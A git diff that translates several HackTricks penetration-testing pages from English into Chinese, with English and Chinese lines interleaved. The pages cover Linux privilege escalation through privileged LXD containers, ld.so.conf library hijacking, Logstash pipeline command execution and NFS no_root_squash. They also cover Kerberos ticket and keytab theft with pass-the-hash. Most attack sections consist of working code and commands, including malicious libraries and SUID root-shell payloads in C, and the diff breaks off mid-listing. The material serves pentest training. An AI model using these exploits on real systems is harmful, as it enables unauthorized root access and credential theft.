构建一个 Alpine 镜像并使用标志 `security.privileged=true` 启动它,强制容器以 root 身份与主机文件系统交互。
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -87,5 +80,4 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,82 +2,71 @@
{{#include ../../banners/hacktricks-training.md}}
## Prepare the environment
## 准备环境
In the following section you can find the code of the files we are going to use to prepare the environment
在以下部分,您可以找到我们将用于准备环境的文件代码
{{#tabs}}
{{#tab name="sharedvuln.c"}}
```c
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
```
{{#endtab}}
{{#tab name="libcustom.h"}}
```c
#include <stdio.h>
void vuln_func();
```
{{#endtab}}
{{#tab name="libcustom.c"}}
```c
#include <stdio.h>
void vuln_func()
{
puts("Hi");
puts("Hi");
}
```
{{#endtab}}
{{#endtabs}}
1. **Create** those files in your machine in the same folder
2. **Compile** the **library**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **Copy** `libcustom.so` to `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **Compile** the **executable**: `gcc sharedvuln.c -o sharedvuln -lcustom`
1. **在**您的机器上在同一文件夹中**创建**这些文件
2. **编译**该**库**: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. **复制** `libcustom.so` `/usr/lib`: `sudo cp libcustom.so /usr/lib` (root privs)
4. **编译**该**可执行文件**: `gcc sharedvuln.c -o sharedvuln -lcustom`
### Check the environment
Check that _libcustom.so_ is being **loaded** from _/usr/lib_ and that you can **execute** the binary.
### 检查环境
检查 _libcustom.so_ 是否从 _/usr/lib_ 被**加载**,并且您可以**执行**该二进制文件。
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
```
## Exploit
In this scenario we are going to suppose that **someone has created a vulnerable entry** inside a file in _/etc/ld.so.conf/_:
在这个场景中,我们将假设**某人已在 _/etc/ld.so.conf/_ 文件中创建了一个易受攻击的条目**
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**Download and compile** the following code inside that path:
易受攻击的文件夹是 _/home/ubuntu/lib_(我们具有可写访问权限)。\
**下载并编译**以下代码到该路径:
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -86,27 +75,23 @@ The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
现在我们已经**在错误配置的**路径中创建了恶意的 libcustom 库,我们需要等待**重启**或等待 root 用户执行 **`ldconfig`**_如果您可以作为 **sudo** 执行此二进制文件,或者它具有 **suid 位**您将能够自己执行它_
Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_).
Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from:
一旦发生这种情况,请**重新检查** `sharevuln` 可执行文件从哪里加载 `libcustom.so` 库:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed:
正如您所看到的,它是**从 `/home/ubuntu/lib` 加载的**,如果任何用户执行它,将会执行一个 shell
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -114,40 +99,35 @@ I'm the bad library
$ whoami
ubuntu
```
> [!NOTE]
> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges.
> 请注意,在这个例子中我们没有提升权限,但通过修改执行的命令并**等待 root 或其他特权用户执行易受攻击的二进制文件**,我们将能够提升权限。
### Other misconfigurations - Same vuln
### 其他错误配置 - 相同漏洞
In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\
But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it.
在前面的例子中,我们伪造了一个错误配置,其中管理员**在 `/etc/ld.so.conf.d/` 中的配置文件内设置了一个非特权文件夹**。\
但是还有其他错误配置可能导致相同的漏洞,如果您在 `/etc/ld.so.conf.d` 中的某个**配置文件**、文件夹 `/etc/ld.so.conf.d` 或文件 `/etc/ld.so.conf` 中具有**写权限**,您可以配置相同的漏洞并进行利用。
## Exploit 2
**Suppose you have sudo privileges over `ldconfig`**.\
You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\
So, lets create the files and folders needed to load "/tmp":
## 利用 2
**假设您对 `ldconfig` 具有 sudo 权限**。\
您可以指示 `ldconfig` **从哪里加载配置文件**,因此我们可以利用它使 `ldconfig` 加载任意文件夹。\
所以,让我们创建加载 "/tmp" 所需的文件和文件夹:
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\
And finally, lets load the path and check where is the binary loading the library from:
现在,如**之前的漏洞**所示,**在 `/tmp` 中创建恶意库**。\
最后,让我们加载路径并检查二进制文件从哪里加载库:
```bash
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.**
**正如您所看到的,拥有 `ldconfig` 的 sudo 权限,您可以利用相同的漏洞。**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,19 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
{% embed url="https://websec.nl/" %}
一台 Linux 机器也可以存在于 Active Directory 环境中。
A linux machine can also be present inside an Active Directory environment.
在 AD 中的 Linux 机器可能会 **在文件中存储不同的 CCACHE 票证。这些票证可以像其他 kerberos 票证一样被使用和滥用**。为了读取这些票证,您需要是票证的用户所有者或 **root** 用户。
A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine.
## 枚举
## Enumeration
### 从 Linux 进行 AD 枚举
### AD enumeration from linux
如果您在 Linux或 Windows 的 bash中访问 AD您可以尝试 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) 来枚举 AD。
If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD.
You can also check the following page to learn **other ways to enumerate AD from linux**:
您还可以查看以下页面以了解 **从 Linux 枚举 AD 的其他方法**
{{#ref}}
../../network-services-pentesting/pentesting-ldap.md
@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from
### FreeIPA
FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in:
FreeIPA 是一个开源的 **替代方案**,用于 Microsoft Windows **Active Directory**,主要针对 **Unix** 环境。它结合了一个完整的 **LDAP 目录** 和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持 **多因素** 身份验证,包括智能卡。集成了 SSSD 以支持 Unix 身份验证过程。了解更多信息:
{{#ref}}
../freeipa-pentesting.md
{{#endref}}
## Playing with tickets
## 玩票证
### Pass The Ticket
In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:
在此页面中,您将找到不同的地方,您可以 **在 Linux 主机中找到 kerberos 票证**,在以下页面中,您可以了解如何将这些 CCache 票证格式转换为 Kirbi您在 Windows 中需要使用的格式),以及如何执行 PTT 攻击:
{{#ref}}
../../windows-hardening/active-directory-methodology/pass-the-ticket.md
{{#endref}}
### CCACHE ticket reuse from /tmp
### 从 /tmp 重用 CCACHE 票证
CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse.
List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID.
CCACHE 文件是用于 **存储 Kerberos 凭据** 的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其 **名称格式 `krb5cc_%{uid}`** 进行识别,与用户的 UID 相关联。为了验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便启用其重用。
使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过设置环境变量 **重用**,使用 `export KRB5CCNAME=/tmp/ticket.ccache`。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -52,79 +49,62 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### CCACHE 票据重用来自密钥环
### CCACHE ticket reuse from keyring
**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`.
To configure and use this tool, the steps below are followed:
**存储在进程内存中的 Kerberos 票据可以被提取**,特别是在机器的 ptrace 保护被禁用时(`/proc/sys/kernel/yama/ptrace_scope`)。一个有用的工具可以在 [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) 找到,它通过注入会话并将票据转储到 `/tmp` 来便于提取。
要配置和使用此工具,请按照以下步骤进行:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
此过程将尝试注入到各种会话中,通过将提取的票证存储在 `/tmp` 中,命名约定为 `__krb_UID.ccache` 来指示成功。
This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`.
### 来自SSSD KCM的CCACHE票证重用
### CCACHE ticket reuse from SSSD KCM
SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions.
Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**.
SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
使用 **`SSSDKCMExtractor`** 及 --database 和 --key 参数将解析数据库并 **解密秘密**
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**凭证缓存 Kerberos blob 可以转换为可用的 Kerberos CCache** 文件,可以传递给 Mimikatz/Rubeus。
The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus.
### CCACHE ticket reuse from keytab
### 从 keytab 重用 CCACHE 票证
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab
```
### 从 /etc/krb5.keytab 提取账户
### Extract accounts from /etc/krb5.keytab
Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality.
To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23.
服务账户密钥,对于以 root 权限运行的服务至关重要,安全地存储在 **`/etc/krb5.keytab`** 文件中。这些密钥类似于服务的密码,要求严格保密。
要检查 keytab 文件的内容,可以使用 **`klist`**。该工具旨在显示密钥详细信息,包括用户身份验证的 **NT Hash**,特别是当密钥类型被识别为 23 时。
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse.
对于Linux用户**`KeyTabExtract`** 提供了提取RC4 HMAC哈希的功能这可以用于NTLM哈希重用。
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
On macOS, **`bifrost`** serves as a tool for keytab file analysis.
在 macOS 上,**`bifrost`** 作为一个工具用于 keytab 文件分析。
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**.
利用提取的账户和哈希信息,可以使用工具如 **`crackmapexec`** 建立与服务器的连接。
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
## References
## 参考
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

File diff suppressed because it is too large Load Diff

View File

@ -2,59 +2,55 @@
## Logstash
Logstash is used to **gather, transform, and dispatch logs** through a system known as **pipelines**. These pipelines are made up of **input**, **filter**, and **output** stages. An interesting aspect arises when Logstash operates on a compromised machine.
Logstash 用于 **收集、转换和分发日志** 通过一个称为 **管道** 的系统。这些管道由 **输入**、**过滤** 和 **输出** 阶段组成。当 Logstash 在被攻陷的机器上运行时,会出现一个有趣的方面。
### Pipeline Configuration
Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations:
管道在文件 **/etc/logstash/pipelines.yml** 中配置,该文件列出了管道配置的位置:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
# https://www.elastic.co/guide/en/logstash/current/multiple-pipelines.html
- pipeline.id: main
path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/etc/logstash/conf.d/*.conf"
- pipeline.id: example
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
该文件揭示了包含管道配置的 **.conf** 文件的位置。当使用 **Elasticsearch output module** 时,**pipelines** 通常包含 **Elasticsearch credentials**,这些凭据由于 Logstash 需要将数据写入 Elasticsearch通常具有广泛的权限。配置路径中的通配符允许 Logstash 执行指定目录中所有匹配的管道。
This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory.
### 通过可写管道进行权限提升
### Privilege Escalation via Writable Pipelines
要尝试权限提升,首先识别 Logstash 服务运行的用户,通常是 **logstash** 用户。确保满足 **以下** 条件之一:
To attempt privilege escalation, first identify the user under which the Logstash service is running, typically the **logstash** user. Ensure you meet **one** of these criteria:
- 拥有对管道 **.conf** 文件的 **写访问** **或**
- **/etc/logstash/pipelines.yml** 文件使用了通配符,并且您可以写入目标文件夹
- Possess **write access** to a pipeline **.conf** file **or**
- The **/etc/logstash/pipelines.yml** file uses a wildcard, and you can write to the target folder
此外,必须满足 **以下** 条件之一:
Additionally, **one** of these conditions must be fulfilled:
- Capability to restart the Logstash service **or**
- The **/etc/logstash/logstash.yml** file has **config.reload.automatic: true** set
Given a wildcard in the configuration, creating a file that matches this wildcard allows for command execution. For instance:
- 能够重启 Logstash 服务 **或**
- **/etc/logstash/logstash.yml** 文件设置了 **config.reload.automatic: true**
鉴于配置中存在通配符,创建一个与该通配符匹配的文件允许执行命令。例如:
```bash
input {
exec {
command => "whoami"
interval => 120
}
exec {
command => "whoami"
interval => 120
}
}
output {
file {
path => "/tmp/output.log"
codec => rubydebug
}
file {
path => "/tmp/output.log"
codec => rubydebug
}
}
```
这里,**interval** 决定了执行频率(以秒为单位)。在给定的示例中,**whoami** 命令每 120 秒运行一次,其输出被定向到 **/tmp/output.log**。
Here, **interval** determines the execution frequency in seconds. In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**.
With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions.
**/etc/logstash/logstash.yml** 中设置 **config.reload.automatic: true**Logstash 将自动检测并应用新的或修改过的管道配置,而无需重启。如果没有通配符,仍然可以对现有配置进行修改,但建议谨慎操作以避免中断。
## References

View File

@ -1,19 +1,18 @@
{{#include ../../banners/hacktricks-training.md}}
Read the _ **/etc/exports** _ file, if you find some directory that is configured as **no_root_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
阅读 _ **/etc/exports** _ 文件,如果你发现某个目录被配置为 **no_root_squash**,那么你可以 **作为客户端访问** 该目录,并 **像本地的根用户** 一样 **在里面写入**
**no_root_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
**no_root_squash**:这个选项基本上赋予客户端的根用户以根身份访问 NFS 服务器上的文件的权限。这可能导致严重的安全隐患。
**no_all_squash:** This is similar to **no_root_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no_all_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user (by mounting using nfs). Execute the suid as nobody user and become different user.
**no_all_squash**:这与 **no_root_squash** 选项类似,但适用于 **非根用户**。想象一下,你以 nobody 用户的身份获得一个 shell检查 /etc/exports 文件;存在 no_all_squash 选项;检查 /etc/passwd 文件;模拟一个非根用户;以该用户创建一个 suid 文件(通过使用 nfs 挂载)。以 nobody 用户身份执行该 suid 文件并成为不同的用户。
# Privilege Escalation
# 权限提升
## Remote Exploit
## 远程利用
If you have found this vulnerability, you can exploit it:
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
如果你发现了这个漏洞,你可以利用它:
- **在客户端机器上挂载该目录**,并 **以根身份复制** /bin/bash 二进制文件到挂载文件夹中,并赋予其 **SUID** 权限,然后 **从受害者** 机器执行该 bash 二进制文件。
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -26,9 +25,7 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
- **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary (you can find here some[ C SUID payloads](payloads-to-execute.md#c)).
- **在客户端机器上挂载该目录**,并且**以root身份复制**我们编译好的有效载荷到挂载文件夹中这将滥用SUID权限赋予其**SUID**权限,并**从受害者**机器执行该二进制文件(您可以在这里找到一些[C SUID有效载荷](payloads-to-execute.md#c))。
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,61 +39,57 @@ chmod +s payload
cd <SHAREDD_FOLDER>
./payload #ROOT shell
```
## Local Exploit
## 本地利用
> [!NOTE]
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_I'm not sure that if `/etc/export` is indicating an IP address this trick will work_--
> 请注意,如果您可以从您的机器创建一个**到受害者机器的隧道,您仍然可以使用远程版本来利用此权限提升,隧道所需的端口**。\
> 以下技巧适用于文件`/etc/exports`**指示一个IP**的情况。在这种情况下,您**将无法使用**任何情况下的**远程利用**,您需要**利用这个技巧**。\
> 另一个利用成功的必要条件是**`/etc/export`中的导出****必须使用`insecure`标志**。\
> --_我不确定如果`/etc/export`指示一个IP地址这个技巧是否有效_--
## Basic Information
## 基本信息
The scenario involves exploiting a mounted NFS share on a local machine, leveraging a flaw in the NFSv3 specification which allows the client to specify its uid/gid, potentially enabling unauthorized access. The exploitation involves using [libnfs](https://github.com/sahlberg/libnfs), a library that allows for the forging of NFS RPC calls.
该场景涉及利用本地机器上挂载的NFS共享利用NFSv3规范中的一个缺陷该缺陷允许客户端指定其uid/gid可能导致未经授权的访问。利用过程涉及使用[libnfs](https://github.com/sahlberg/libnfs)这是一个允许伪造NFS RPC调用的库。
### Compiling the Library
The library compilation steps might require adjustments based on the kernel version. In this specific case, the fallocate syscalls were commented out. The compilation process involves the following commands:
### 编译库
库的编译步骤可能需要根据内核版本进行调整。在这种特定情况下fallocate系统调用被注释掉。编译过程涉及以下命令
```bash
./bootstrap
./configure
make
gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/
```
### 进行利用
### Conducting the Exploit
该利用涉及创建一个简单的 C 程序 (`pwn.c`),该程序提升权限到 root然后执行一个 shell。程序被编译生成的二进制文件 (`a.out`) 被放置在具有 suid root 的共享上,使用 `ld_nfs.so` 在 RPC 调用中伪造 uid
The exploit involves creating a simple C program (`pwn.c`) that elevates privileges to root and then executing a shell. The program is compiled, and the resulting binary (`a.out`) is placed on the share with suid root, using `ld_nfs.so` to fake the uid in the RPC calls:
1. **编译利用代码:**
1. **Compile the exploit code:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **将利用放置在共享上并通过伪造 uid 修改其权限:**
2. **Place the exploit on the share and modify its permissions by faking the uid:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **执行利用以获得 root 权限:**
```bash
/mnt/share/a.out
#root
```
3. **Execute the exploit to gain root privileges:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
Once root access is obtained, to interact with the NFS share without changing ownership (to avoid leaving traces), a Python script (nfsh.py) is used. This script adjusts the uid to match that of the file being accessed, allowing for interaction with files on the share without permission issues:
## 额外NFShell 用于隐秘文件访问
一旦获得 root 访问权限,为了在不更改所有权的情况下与 NFS 共享进行交互(以避免留下痕迹),使用一个 Python 脚本 (nfsh.py)。该脚本调整 uid 以匹配被访问文件的 uid从而允许在共享上与文件进行交互而不出现权限问题
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -104,23 +97,20 @@ import sys
import os
def get_file_uid(filepath):
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
try:
uid = os.stat(filepath).st_uid
except OSError as e:
return get_file_uid(os.path.dirname(filepath))
return uid
filepath = sys.argv[-1]
uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
Run like:
像这样运行:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,22 +1,19 @@
# Payloads to execute
# 执行的有效载荷
{{#include ../../banners/hacktricks-training.md}}
## Bash
```bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
```
## C
```c
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
```
@ -27,9 +24,9 @@ int main(void){
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
setuid(getuid());
system("/bin/bash");
return 0;
}
```
@ -40,42 +37,38 @@ int main(){
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
```
## 通过覆盖文件来提升权限
## Overwriting a file to escalate privileges
### 常见文件
### Common files
- 在 _/etc/passwd_ 中添加带密码的用户
- 在 _/etc/shadow_ 中更改密码
- 在 _/etc/sudoers_ 中将用户添加到 sudoers
- 通过 docker socket 滥用 docker通常在 _/run/docker.sock__/var/run/docker.sock_
- Add user with password to _/etc/passwd_
- Change password inside _/etc/shadow_
- Add user to sudoers in _/etc/sudoers_
- Abuse docker through the docker socket, usually in _/run/docker.sock_ or _/var/run/docker.sock_
### Overwriting a library
Check a library used by some binary, in this case `/bin/su`:
### 覆盖库
检查某个二进制文件使用的库,在这种情况下是 `/bin/su`
```bash
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
